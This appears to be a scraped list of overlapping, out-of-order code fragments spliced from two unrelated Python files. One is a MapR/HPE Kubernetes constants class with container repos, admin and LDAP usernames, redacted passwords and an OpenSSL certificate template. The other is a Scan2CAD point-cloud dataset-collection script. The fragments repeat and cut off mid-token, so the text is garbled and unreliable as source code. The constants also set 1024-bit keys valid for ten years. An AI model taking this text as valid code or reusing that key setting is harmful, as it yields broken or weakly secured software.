LDAPADMIN_USER =", "# http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS = () OPENSSL_CONFIG_TEMPLATE = \"\"\" prompt =", "#registry.hub.docker.com/maprtech KUBEFLOW_REPO = \"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO = \"gcr.io/mapr-252711\" KUBELET_DIR = \"/var/lib/kubelet\"", "Collins O = HPE OU = HCP CN = %(service)s", "= enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP') # OPEN SSL OPENSSL = '/usr/bin/openssl'", "O = HPE OU = HCP CN = %(service)s emailAddress", "\"<PASSWORD>\" LDAPBIND_USER = \"readonly\" LDAPBIND_PASS = \"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE = \"hpe-ldap\"", "= \"mapr\" GROUPNAME = \"mapr\" USERID = 5000 GROUPID =", "certificate request basicConstraints = CA:FALSE keyUsage = nonRepudiation, digitalSignature, keyEncipherment", "7000 ADMIN_PASS = \"<PASSWORD>\" MYSQL_USER = \"admin\" MYSQL_PASS = \"<PASSWORD>\"", "LOGGER_CONF = \"common/mapr_conf/logger.yml\" USERNAME = \"mapr\" GROUPNAME = \"mapr\" USERID", "GROUPNAME = \"mapr\" USERID = 5000 GROUPID = 5000 ADMIN_USERNAME", "emailAddress = <EMAIL> [ v3_req ] # Extensions to add", "ADMIN_GROUPID = 7000 ADMIN_PASS = \"<PASSWORD>\" MYSQL_USER = \"admin\" MYSQL_PASS", "OPENSSL_CONFIG_TEMPLATE = \"\"\" prompt = no distinguished_name = req_distinguished_name req_extensions", "\"admin\" LDAPADMIN_PASS = \"<PASSWORD>\" LDAPBIND_USER = \"readonly\" LDAPBIND_PASS = \"<PASSWORD>\"", "OPERATOR_REPO = \"gcr.io/mapr-252711\" KUBELET_DIR = \"/var/lib/kubelet\" ECP_KUBELET_DIR = \"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO=", "= \"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE = \"hpe-ldap\" CSI_REPO = \"quay.io/k8scsi\" KDF_REPO =", "= \"quay.io/k8scsi\" KDF_REPO = \"docker.io/maprtech\" #registry.hub.docker.com/maprtech KUBEFLOW_REPO = \"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO", "= \"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO= \"\" KFCTL_HSP_ISTIO_REPO = \"\" BUSYBOX_REPO = \"\"", "= \"\" def enum(**named_values): return type('Enum', (), named_values) AUTH_TYPES =", "ADMIN_USERNAME = \"custadmin\" ADMIN_GROUPNAME = \"custadmin\" ADMIN_USERID = 7000 ADMIN_GROUPID", "CA_CERT = 'ca.cert' CA_KEY = 'ca.key' # http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS =", "] DNS.1 = %(service)s DNS.2 = %(service)s.%(namespace)s DNS.3 = %(service)s.%(namespace)s.svc", "= \"gcr.io/mapr-252711\" KUBELET_DIR = \"/var/lib/kubelet\" ECP_KUBELET_DIR = \"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO= \"\"", "= %(service)s emailAddress = <EMAIL> [ v3_req ] # Extensions", "# OPEN SSL OPENSSL = '/usr/bin/openssl' KEY_SIZE = 1024 DAYS", "= nonRepudiation, digitalSignature, keyEncipherment subjectAltName = @alt_names [ alt_names ]", "C = US ST = CO L = Fort Collins", "\"<PASSWORD>\" MYSQL_USER = \"admin\" MYSQL_PASS = \"<PASSWORD>\" LDAPADMIN_USER = \"admin\"", "= \"readonly\" LDAPBIND_PASS = \"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE = \"hpe-ldap\" CSI_REPO =", "\"gcr.io/mapr-252711\" KUBELET_DIR = \"/var/lib/kubelet\" ECP_KUBELET_DIR = \"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO= \"\" KFCTL_HSP_ISTIO_REPO", "LDAPADMIN_USER = \"admin\" LDAPADMIN_PASS = \"<PASSWORD>\" LDAPBIND_USER = \"readonly\" LDAPBIND_PASS", "] # Extensions to add to a certificate request basicConstraints", "= \"mapr\" USERID = 5000 GROUPID = 5000 ADMIN_USERNAME =", "= () OPENSSL_CONFIG_TEMPLATE = \"\"\" prompt = no distinguished_name =", "alt_names ] DNS.1 = %(service)s DNS.2 = %(service)s.%(namespace)s DNS.3 =", "LDAPADMIN_PASS = \"<PASSWORD>\" LDAPBIND_USER = \"readonly\" LDAPBIND_PASS = \"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE", "enum(**named_values): return type('Enum', (), named_values) AUTH_TYPES = enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP')", "= 7000 ADMIN_GROUPID = 7000 ADMIN_PASS = \"<PASSWORD>\" MYSQL_USER =", "ECP_KUBELET_DIR = \"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO= \"\" KFCTL_HSP_ISTIO_REPO = \"\" BUSYBOX_REPO =", "'ca.cert' CA_KEY = 'ca.key' # http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS = () OPENSSL_CONFIG_TEMPLATE", "= v3_req [ req_distinguished_name ] C = US ST =", "\"\" KFCTL_HSP_ISTIO_REPO = \"\" BUSYBOX_REPO = \"\" def enum(**named_values): return", "named_values) AUTH_TYPES = enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP') # OPEN SSL OPENSSL", "5000 ADMIN_USERNAME = \"custadmin\" ADMIN_GROUPNAME = \"custadmin\" ADMIN_USERID = 7000", "'ca.key' # http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS = () OPENSSL_CONFIG_TEMPLATE = \"\"\" prompt", "req_distinguished_name req_extensions = v3_req [ req_distinguished_name ] C = US", "= <EMAIL> [ v3_req ] # Extensions to add to", "keyUsage = nonRepudiation, digitalSignature, keyEncipherment subjectAltName = @alt_names [ alt_names", "= \"<PASSWORD>\" LDAPBIND_USER = \"readonly\" LDAPBIND_PASS = \"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE =", "@alt_names [ alt_names ] DNS.1 = %(service)s DNS.2 = %(service)s.%(namespace)s", "[ alt_names ] DNS.1 = %(service)s DNS.2 = %(service)s.%(namespace)s DNS.3", "class Constants(object): LOGGER_CONF = \"common/mapr_conf/logger.yml\" USERNAME = \"mapr\" GROUPNAME =", "= \"\" BUSYBOX_REPO = \"\" def enum(**named_values): return type('Enum', (),", "\"common/mapr_conf/logger.yml\" USERNAME = \"mapr\" GROUPNAME = \"mapr\" USERID = 5000", "= \"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO = \"gcr.io/mapr-252711\" KUBELET_DIR = \"/var/lib/kubelet\" ECP_KUBELET_DIR =", "= 3650 CA_CERT = 'ca.cert' CA_KEY = 'ca.key' # http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS", "= 'ca.cert' CA_KEY = 'ca.key' # http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS = ()", "DNS.1 = %(service)s DNS.2 = %(service)s.%(namespace)s DNS.3 = %(service)s.%(namespace)s.svc \"\"\"", "distinguished_name = req_distinguished_name req_extensions = v3_req [ req_distinguished_name ] C", "CA_KEY = 'ca.key' # http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS = () OPENSSL_CONFIG_TEMPLATE =", "= \"docker.io/maprtech\" #registry.hub.docker.com/maprtech KUBEFLOW_REPO = \"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO = \"gcr.io/mapr-252711\" KUBELET_DIR", "() OPENSSL_CONFIG_TEMPLATE = \"\"\" prompt = no distinguished_name = req_distinguished_name", "= Fort Collins O = HPE OU = HCP CN", "a certificate request basicConstraints = CA:FALSE keyUsage = nonRepudiation, digitalSignature,", "USERNAME = \"mapr\" GROUPNAME = \"mapr\" USERID = 5000 GROUPID", "return type('Enum', (), named_values) AUTH_TYPES = enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP') #", "\"\" BUSYBOX_REPO = \"\" def enum(**named_values): return type('Enum', (), named_values)", "RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP') # OPEN SSL OPENSSL = '/usr/bin/openssl' KEY_SIZE =", "\"docker.io/maprtech\" #registry.hub.docker.com/maprtech KUBEFLOW_REPO = \"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO = \"gcr.io/mapr-252711\" KUBELET_DIR =", "= 7000 ADMIN_PASS = \"<PASSWORD>\" MYSQL_USER = \"admin\" MYSQL_PASS =", "add to a certificate request basicConstraints = CA:FALSE keyUsage =", "Fort Collins O = HPE OU = HCP CN =", "= CA:FALSE keyUsage = nonRepudiation, digitalSignature, keyEncipherment subjectAltName = @alt_names", "to add to a certificate request basicConstraints = CA:FALSE keyUsage", "subjectAltName = @alt_names [ alt_names ] DNS.1 = %(service)s DNS.2", "= \"admin\" LDAPADMIN_PASS = \"<PASSWORD>\" LDAPBIND_USER = \"readonly\" LDAPBIND_PASS =", "digitalSignature, keyEncipherment subjectAltName = @alt_names [ alt_names ] DNS.1 =", "LDAPBIND_PASS = \"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE = \"hpe-ldap\" CSI_REPO = \"quay.io/k8scsi\" KDF_REPO", "request basicConstraints = CA:FALSE keyUsage = nonRepudiation, digitalSignature, keyEncipherment subjectAltName", "basicConstraints = CA:FALSE keyUsage = nonRepudiation, digitalSignature, keyEncipherment subjectAltName =", "X509_EXTRA_ARGS = () OPENSSL_CONFIG_TEMPLATE = \"\"\" prompt = no distinguished_name", "[ v3_req ] # Extensions to add to a certificate", "no distinguished_name = req_distinguished_name req_extensions = v3_req [ req_distinguished_name ]", "v3_req [ req_distinguished_name ] C = US ST = CO", "def enum(**named_values): return type('Enum', (), named_values) AUTH_TYPES = enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers',", "L = Fort Collins O = HPE OU = HCP", "BUSYBOX_REPO = \"\" def enum(**named_values): return type('Enum', (), named_values) AUTH_TYPES", "\"<PASSWORD>\" LDAPADMIN_USER = \"admin\" LDAPADMIN_PASS = \"<PASSWORD>\" LDAPBIND_USER = \"readonly\"", "= \"hpe-ldap\" CSI_REPO = \"quay.io/k8scsi\" KDF_REPO = \"docker.io/maprtech\" #registry.hub.docker.com/maprtech KUBEFLOW_REPO", "CN = %(service)s emailAddress = <EMAIL> [ v3_req ] #", "= \"admin\" MYSQL_PASS = \"<PASSWORD>\" LDAPADMIN_USER = \"admin\" LDAPADMIN_PASS =", "GROUPID = 5000 ADMIN_USERNAME = \"custadmin\" ADMIN_GROUPNAME = \"custadmin\" ADMIN_USERID", "http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS = () OPENSSL_CONFIG_TEMPLATE = \"\"\" prompt = no", "KDF_REPO = \"docker.io/maprtech\" #registry.hub.docker.com/maprtech KUBEFLOW_REPO = \"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO = \"gcr.io/mapr-252711\"", "EXAMPLE_LDAP='exampleLDAP') # OPEN SSL OPENSSL = '/usr/bin/openssl' KEY_SIZE = 1024", "= \"<PASSWORD>\" LDAPADMIN_USER = \"admin\" LDAPADMIN_PASS = \"<PASSWORD>\" LDAPBIND_USER =", "\"hpe-ldap\" CSI_REPO = \"quay.io/k8scsi\" KDF_REPO = \"docker.io/maprtech\" #registry.hub.docker.com/maprtech KUBEFLOW_REPO =", "KEY_SIZE = 1024 DAYS = 3650 CA_CERT = 'ca.cert' CA_KEY", "LOCAL_PATH_PROVISIONER_REPO= \"\" KFCTL_HSP_ISTIO_REPO = \"\" BUSYBOX_REPO = \"\" def enum(**named_values):", "HPE OU = HCP CN = %(service)s emailAddress = <EMAIL>", "nonRepudiation, digitalSignature, keyEncipherment subjectAltName = @alt_names [ alt_names ] DNS.1", "\"readonly\" LDAPBIND_PASS = \"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE = \"hpe-ldap\" CSI_REPO = \"quay.io/k8scsi\"", "v3_req ] # Extensions to add to a certificate request", "\"\" def enum(**named_values): return type('Enum', (), named_values) AUTH_TYPES = enum(CUSTOM_LDAP='customLDAP',", "CSI_REPO = \"quay.io/k8scsi\" KDF_REPO = \"docker.io/maprtech\" #registry.hub.docker.com/maprtech KUBEFLOW_REPO = \"gcr.io/mapr-252711/kf-ecp-5.3.0\"", "OPEN SSL OPENSSL = '/usr/bin/openssl' KEY_SIZE = 1024 DAYS =", "prompt = no distinguished_name = req_distinguished_name req_extensions = v3_req [", "CO L = Fort Collins O = HPE OU =", "\"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE = \"hpe-ldap\" CSI_REPO = \"quay.io/k8scsi\" KDF_REPO = \"docker.io/maprtech\"", "= 5000 ADMIN_USERNAME = \"custadmin\" ADMIN_GROUPNAME = \"custadmin\" ADMIN_USERID =", "OPENSSL = '/usr/bin/openssl' KEY_SIZE = 1024 DAYS = 3650 CA_CERT", "= \"/var/lib/kubelet\" ECP_KUBELET_DIR = \"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO= \"\" KFCTL_HSP_ISTIO_REPO = \"\"", "1024 DAYS = 3650 CA_CERT = 'ca.cert' CA_KEY = 'ca.key'", "AUTH_TYPES = enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP') # OPEN SSL OPENSSL =" ]
[ "= 50000 MAX_NUM_OBJ = 64 INS_NUM_POINT = 2048 FEATURE_DIMENSION =", "'r') as f: data = json.load(f) d = {} i", "C[0:3, 3] = center M = T.dot(R).dot(S).dot(C) return M def", "(NK, 1, V, 3) a dictionary for verts-cad_file pairs \"\"\"", "id_scan = data['id_scan'] K = data['n_total'] assert(K <= MAX_NUM_OBJ) #", "= d self.cat_ids = np.unique(cat_ids) if distr_check: for k, v", "in range(n_model): d[i]['models'][j] = {} d[i]['models'][j]['trs'] = r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center'] =", "(for detection) print_log(\" LOADING SCENES\") collect_path = os.path.join(BASE_DIR, 'collect') for", "with open(self.out_path+'/error_scan.txt', 'w') as f: print_log(\"ERROR SCAN\") for i, sname", "sy, sz]) R[:,0] /= sx R[:,1] /= sy R[:,2] /=", "N: int a size of dataset return: dict: (NK, 1,", "s # ======================================================================================================== LOG_N = 100 def print_log(log): print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N)", "os.path.join(DATA_DIR, 'Scan2CAD/export') self.out_path = os.path.join(BASE_DIR_1, 'data4') if not os.path.exists(self.out_path): os.mkdir(self.out_path)", "1, V, 3) a dictionary for verts-cad_file pairs \"\"\" #", "f.write(sname) f.write('\\n') if __name__ == \"__main__\": Dataset = Scan2CADCollect(split_set='all', distr_check=True)", "sname in self.scan_list \\ if sname in all_scan_names] print_log('Dataset for", "i_scan = r[\"id_scan\"] if i_scan not in self.scan_list: continue self.scan_names.append(i_scan)", "def from_q_to_6d(q): q = np.quaternion(q[0], q[1], q[2], q[3]) mat =", "continue # DUMP COLLECT RESULTS if dump: scene_path = os.path.join(collect_path,", "V, 3) a dictionary for verts-cad_file pairs \"\"\" # =======", "kept {} scans out of {}'.format(split_set, len(self.scan_list), num_scans)) num_scans =", "range(n_model): d[i]['models'][j] = {} d[i]['models'][j]['trs'] = r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center'] = r[\"aligned_models\"][j]['center']", "os.path.join(BASE_DIR_1, 'meta_data', 'scan2cad_{}.txt'.format(split_set)) with open(split_filenames, 'r') as f: self.scan_list =", "ins_labels), file_path) print(f\"[{index}/{N} Saved] {id_scan} >>> {file_path}\") # error scan", "0.05 SEG_THRESHOLD = 1 REMAPPER = np.ones(35, dtype=np.int64) * (-1)", "if not isinstance(q, np.quaternion): q = np.quaternion(q[0], q[1], q[2], q[3])", "1, \"__SYM_ROTATE_UP_4\": 2, \"__SYM_ROTATE_UP_INF\": 3} # functions ============================================================================================== def from_q_to_6d(q):", "= np.array([sx, sy, sz]) R[:,0] /= sx R[:,1] /= sy", "else: print('illegal split name') return filename_json = BASE_DIR_1 + \"/full_annotations.json\"", "obj_corners = s2c_utils.get_3d_box_rotated(ins_bbox, Mobj, padding=PADDING) ex_points, obj_vert_ind = s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners)", "sem_cls < 0: continue # ignore non-valid class object (only", "os, sys import json import h5py import numpy as np", "{\"__SYM_NONE\": 0, \"__SYM_ROTATE_UP_2\": 1, \"__SYM_ROTATE_UP_4\": 2, \"__SYM_ROTATE_UP_INF\": 3} # functions", "self.dataset = {} cat_summary = dict.fromkeys(DC.ClassToName, 0) cat_ids = []", "instances in dataset V = a number of vertices args:", "sys.path.append(ROOT_DIR) from s2c_map import CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK from s2c_config import", "sx R[:,1] /= sy R[:,2] /= sz q = quaternion.from_rotation_matrix(R[0:3,", "scene data file_path = os.path.join(self.out_path, id_scan+'_inst.pth') torch.save((pcoord, colors, sem_labels, ins_labels),", "mesh_vertices = np.load(os.path.join(self.data_path, id_scan) + '_vert.npy') # (N, 3) semantic_labels", "id_scan) + '_vert.npy') # (N, 3) semantic_labels = np.load(os.path.join(self.data_path, id_scan)", "nn_search(p, ps): target = torch.from_numpy(ps.copy()) p = torch.from_numpy(p.copy()) p_diff =", "obj_scale = self.size_check(obj_scale, id_scan, sem_cls) Mobj = compose_mat4(obj_translation, obj_rotation, obj_scale,", "127.5 - 1 instance_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) semantic_vertices", "in enumerate(CARED_CLASS_MASK): REMAPPER[x] = i print(f'REMAPPER[{x:2d}] => {i:2d}') SYM2CLASS =", "numpy as np import quaternion import torch from torch.utils.data import", "= np.ones(35, dtype=np.int64) * (-1) for i, x in enumerate(CARED_CLASS_MASK):", "padding=PADDING) ex_points, obj_vert_ind = s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners) nx = ex_points.shape[0] #", "i, sname in enumerate(error_scan.keys()): print('{:2d}: {}'.format(i, sname)) f.write(sname) f.write('\\n') if", "sname in all_scan_names] print_log('Dataset for {}: kept {} scans out", "f.read().splitlines() # remove unavailiable scans num_scans = len(self.scan_list) self.scan_list =", "export directory: {}\".format(self.out_path)) all_scan_names = list(set([os.path.basename(x)[0:12] \\ for x in", "of instances in dataset V = a number of vertices", "len(model_scale_order.keys()) # Iterate on scale_order checked = False k =", "ignore non-valid class object (only preserve CARED classes) instance_vertices[vert_choices] =", "q[3]) mat = quaternion.as_rotation_matrix(q) # 3x3 rep6d = mat[:, 0:2].transpose().reshape(-1,", "-= 1 checked = True continue sem_cls = REMAPPER[sem_cls] #", "= SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname'] = r[\"aligned_models\"][j]['id_cad'] cat_id = r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id) d[i]['models'][j]['cat_id']", "os.path.join(self.out_path, id_scan+'_inst.pth') torch.save((pcoord, colors, sem_labels, ins_labels), file_path) print(f\"[{index}/{N} Saved] {id_scan}", "dim=-1) return dist.item(), idx.item() def make_M_from_tqs(t, q, s): q =", "def __len__(self): return len(self.dataset) def size_check(self, scale, id_scan, sem_cls): check", "points cropping order to avoid overlapping sort_by_scale = {} for", "of {}'.format(split_set, len(self.scan_list), num_scans)) num_scans = len(self.scan_list) else: print('illegal split", "(only preserve CARED classes) instance_vertices[vert_choices] = k # (0~K-1) NOTE:unannotated=-1", "= t R = np.eye(4) R[0:3, 0:3] = quaternion.as_rotation_matrix(q) S", "if sname in all_scan_names] print_log('Dataset for {}: kept {} scans", "{} scans out of {}'.format(split_set, len(self.scan_list), num_scans)) num_scans = len(self.scan_list)", "INF = 9999 NOT_CARED_ID = np.array([INF]) # wall, floor #", "return t, q, s # ======================================================================================================== LOG_N = 100 def", "cat_ids.append(cat_id) d[i]['models'][j]['cat_id'] = cat_id cat_class = DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls'] = cat_class", "======= Semantic/Instance vertices ======= if seg_nx < SEG_THRESHOLD: k -=", "in os.listdir(self.data_path) if x.startswith('scene')])) self.scan_names = [] if split_set in", "size_check(self, scale, id_scan, sem_cls): check = False if scale[0] <", "SCALE_THRASHOLD: scale[0] = SCALE_THRASHOLD check = True if scale[1] <", "np.load(os.path.join(self.data_path, id_scan) + '_vert.npy') # (N, 3) semantic_labels = np.load(os.path.join(self.data_path,", "idx.item() def make_M_from_tqs(t, q, s): q = np.quaternion(q[0], q[1], q[2],", "Dataset BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__)) # scan2cad BASE_DIR = os.path.dirname(BASE_DIR_1) #", "# 6 return rep6d def nn_search(p, ps): target = torch.from_numpy(ps.copy())", "0:3] = np.diag(s) M = T.dot(R).dot(S) return M def compose_mat4(t,", "9999 NOT_CARED_ID = np.array([INF]) # wall, floor # Thresholds PADDING", "q[1], q[2], q[3]) T = np.eye(4) T[0:3, 3] = t", "0:2].transpose().reshape(-1, 6) # 6 return rep6d def nn_search(p, ps): target", "t = M[0:3, 3] return t, q, s # ========================================================================================================", "compose_mat4(t, q, s, center=None): if not isinstance(q, np.quaternion): q =", "R[:,1] /= sy R[:,2] /= sz q = quaternion.from_rotation_matrix(R[0:3, 0:3])", "(0~K-1) NOTE:unannotated=-1 semantic_vertices[vert_choices] = sem_cls # (0~num_classes-1) NOTE:unannotated=-1 # error", "with open(split_filenames, 'r') as f: self.scan_list = f.read().splitlines() # remove", "36~MAX, INF)) point_cloud = mesh_vertices[:,0:3] colors = mesh_vertices[:,3:6] / 127.5", "= 0.05 SEG_THRESHOLD = 1 REMAPPER = np.ones(35, dtype=np.int64) *", "return rep6d def nn_search(p, ps): target = torch.from_numpy(ps.copy()) p =", "range(K): obj_scale = np.array(data['models'][model]['trs']['scale']) sort_by_scale[model] = np.sum(obj_scale) model_scale_order = {model:", "checked = False k = -1 for i, model in", "= [] with open(filename_json, 'r') as f: data = json.load(f)", "i, x in enumerate(CARED_CLASS_MASK): REMAPPER[x] = i print(f'REMAPPER[{x:2d}] => {i:2d}')", "def print_log(log): print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N) class Scan2CADCollect(Dataset): def __init__(self, split_set='train', distr_check=False):", "DUMP_DIR = os.path.join(ROOT_DIR, 'data') sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR) from s2c_map import CLASS_MAPPING,", "= a total number of instances in dataset V =", "return len(self.dataset) def size_check(self, scale, id_scan, sem_cls): check = False", "to avoid overlapping sort_by_scale = {} for model in range(K):", "print_log(\"ERROR SCAN\") for i, sname in enumerate(error_scan.keys()): print('{:2d}: {}'.format(i, sname))", "import numpy as np import quaternion import torch from torch.utils.data", "INF)) point_cloud = mesh_vertices[:,0:3] colors = mesh_vertices[:,3:6] / 127.5 -", "= np.eye(4) S[0:3, 0:3] = np.diag(s) M = T.dot(R).dot(S) return", "q = np.quaternion(q[0], q[1], q[2], q[3]) T = np.eye(4) T[0:3,", "if split_set in ['all', 'train', 'val', 'test']: split_filenames = os.path.join(BASE_DIR_1,", "torch.from_numpy(p.copy()) p_diff = target - p p_dist = torch.sum(p_diff**2, dim=-1)", "return dist.item(), idx.item() def make_M_from_tqs(t, q, s): q = np.quaternion(q[0],", "SCALE_THRASHOLD: scale[2] = SCALE_THRASHOLD check = True return scale def", "1000 INF = 9999 NOT_CARED_ID = np.array([INF]) # wall, floor", "'data') sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR) from s2c_map import CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK from", "sz q = quaternion.from_rotation_matrix(R[0:3, 0:3]) t = M[0:3, 3] return", "mesh_vertices[:,3:6] / 127.5 - 1 instance_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) *", "# scan2cad BASE_DIR = os.path.dirname(BASE_DIR_1) # dataset ROOT_DIR = os.path.dirname(BASE_DIR)", "sem_cls # (0~num_classes-1) NOTE:unannotated=-1 # error check ins_list = np.unique(instance_vertices)", "NOT_CARED_ID) seg_nx = seg_points.shape[0] # ======= Semantic/Instance vertices ======= if", "bboxes=None, file_path=scene_path) point_cloud = np.ascontiguousarray(point_cloud[:, :3] - point_cloud[:, :3].mean(0)) pcoord", "import quaternion import torch from torch.utils.data import Dataset BASE_DIR_1 =", "if x.startswith('scene')])) self.scan_names = [] if split_set in ['all', 'train',", "= 0.05 SCALE_THRASHOLD = 0.05 SEG_THRESHOLD = 1 REMAPPER =", "quaternion.from_rotation_matrix(R[0:3, 0:3]) t = M[0:3, 3] return t, q, s", "(np.max(instance_vertices)+1) != (len(ins_list)-1): print_log(f\"[{index}/{N} Error] Please check this scene -->", "data file_path = os.path.join(self.out_path, id_scan+'_inst.pth') torch.save((pcoord, colors, sem_labels, ins_labels), file_path)", "obj_center) # Instance vertices # - (1) Region Crop &", "check = True if scale[1] < SCALE_THRASHOLD: scale[1] = SCALE_THRASHOLD", "self.out_path = os.path.join(BASE_DIR_1, 'data4') if not os.path.exists(self.out_path): os.mkdir(self.out_path) print(\"Create export", "-1 for idx, r in enumerate(data): i_scan = r[\"id_scan\"] if", "q = np.quaternion(q[0], q[1], q[2], q[3]) mat = quaternion.as_rotation_matrix(q) #", "sem_cls+1, NOT_CARED_ID) seg_nx = seg_points.shape[0] # ======= Semantic/Instance vertices =======", "point_cloud.astype(np.float64) colors = colors.astype(np.float32) sem_labels = semantic_vertices.astype(np.float64) ins_labels = instance_vertices.astype(np.float64)", "'r') as f: self.scan_list = f.read().splitlines() # remove unavailiable scans", "if i_scan not in self.scan_list: continue self.scan_names.append(i_scan) i += 1", "import os, sys import json import h5py import numpy as", "functions ============================================================================================== def from_q_to_6d(q): q = np.quaternion(q[0], q[1], q[2], q[3])", "<= MAX_NUM_OBJ) # Point Cloud mesh_vertices = np.load(os.path.join(self.data_path, id_scan) +", "Error] Please check this scene --> {id_scan}\") error_scan[id_scan] = 0", "Scan2CADCollect(Dataset): def __init__(self, split_set='train', distr_check=False): self.data_path = os.path.join(DATA_DIR, 'Scan2CAD/export') self.out_path", "{model: scale for model, scale in sorted(sort_by_scale.items(), key=(lambda item:item[1]), reverse=True)}", "# Text # Anchor collection (for detection) print_log(\" LOADING SCENES\")", "np.array([sx, sy, sz]) R[:,0] /= sx R[:,1] /= sy R[:,2]", "T[0:3, 3] = t R = np.eye(4) R[0:3, 0:3] =", "seg_nx = seg_points.shape[0] # ======= Semantic/Instance vertices ======= if seg_nx", "= r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym'] = SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname'] = r[\"aligned_models\"][j]['id_cad'] cat_id =", "= r[\"aligned_models\"][j]['id_cad'] cat_id = r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id) d[i]['models'][j]['cat_id'] = cat_id cat_class", "Return dictionary of {verts(x,y,z): cad filename} Note: NK = a", "& Axis-aligned Bounding Box vert_choices = np.array([]) ins_bbox = np.array(data['models'][model]['bbox'])", "= r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id) d[i]['models'][j]['cat_id'] = cat_id cat_class = DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls']", "np.eye(4) S[0:3, 0:3] = np.diag(s) M = T.dot(R).dot(S) return M", "SEG_THRESHOLD = 1 REMAPPER = np.ones(35, dtype=np.int64) * (-1) for", "============================================================================================== def from_q_to_6d(q): q = np.quaternion(q[0], q[1], q[2], q[3]) mat", "sy = np.linalg.norm(R[0:3, 1]) sz = np.linalg.norm(R[0:3, 2]) s =", "if scale[0] < SCALE_THRASHOLD: scale[0] = SCALE_THRASHOLD check = True", "= self.size_check(obj_scale, id_scan, sem_cls) Mobj = compose_mat4(obj_translation, obj_rotation, obj_scale, obj_center)", "import json import h5py import numpy as np import quaternion", "scene directory: {}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices, num_instances=K, bboxes=None, file_path=scene_path) point_cloud =", "d[i]['trs'] = r[\"trs\"] n_model = r[\"n_aligned_models\"] d[i]['n_total'] = n_model d[i]['models']", "item:item[1], reverse=True): print(f'{k:2d}: {DC.ClassToName[k]:12s} => {v:4d}') def __len__(self): return len(self.dataset)", "# PointGroup DATA_DIR = os.path.dirname(ROOT_DIR) # /root/ DATA_DIR = os.path.join(DATA_DIR,", "cat_summary[cat_class]+=1 self.dataset = d self.cat_ids = np.unique(cat_ids) if distr_check: for", "check = True return scale def collect(self, N, dump=False): \"\"\"", "= np.eye(4) S[0:3, 0:3] = np.diag(s) C = np.eye(4) if", "sem_labels = semantic_vertices.astype(np.float64) ins_labels = instance_vertices.astype(np.float64) # ============ DUMP ============", "Bounding Box vert_choices = np.array([]) ins_bbox = np.array(data['models'][model]['bbox']) obj_corners =", "np.sum(obj_scale) model_scale_order = {model: scale for model, scale in sorted(sort_by_scale.items(),", "as f: data = json.load(f) d = {} i =", "in enumerate(model_scale_order.keys()): k += 1 # semantics () sem_cls =", "split_set='train', distr_check=False): self.data_path = os.path.join(DATA_DIR, 'Scan2CAD/export') 